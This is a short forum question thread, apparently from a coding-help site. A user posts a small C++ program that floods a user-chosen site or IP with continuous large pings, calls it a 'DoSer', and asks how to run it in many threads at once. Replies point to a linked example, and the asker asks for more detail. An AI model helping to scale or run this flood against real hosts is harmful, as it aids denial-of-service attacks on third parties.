+ 1
(C++) Howw to run multiple threads at once (C++)
Im making a DoSer using C++ system commands withe the ping of death methood and need to run multiple threads of pinging at once please tell me how. current code: #include <iostream> #include <sstream> using namespace std; void atk() { string targ; system("color a"); system("title C++ DoSer "); cout << " What Site/IP Is Your Target?" << endl; cin >> targ; ostringstream pingData; pingData << "ping " << targ << " -t -l 65500"; system(pingData.str().c_str()); return; } int main() { atk() ;return 0; }
2 ответов
+ 2
You can do somewhat similar to this.
https://code.sololearn.com/cldJfaAORdiT/?ref=app
//It runs on the offline compiler.
0
Tanay sorry but im dont understand how to run my code into the threads. please give me a more detailed description.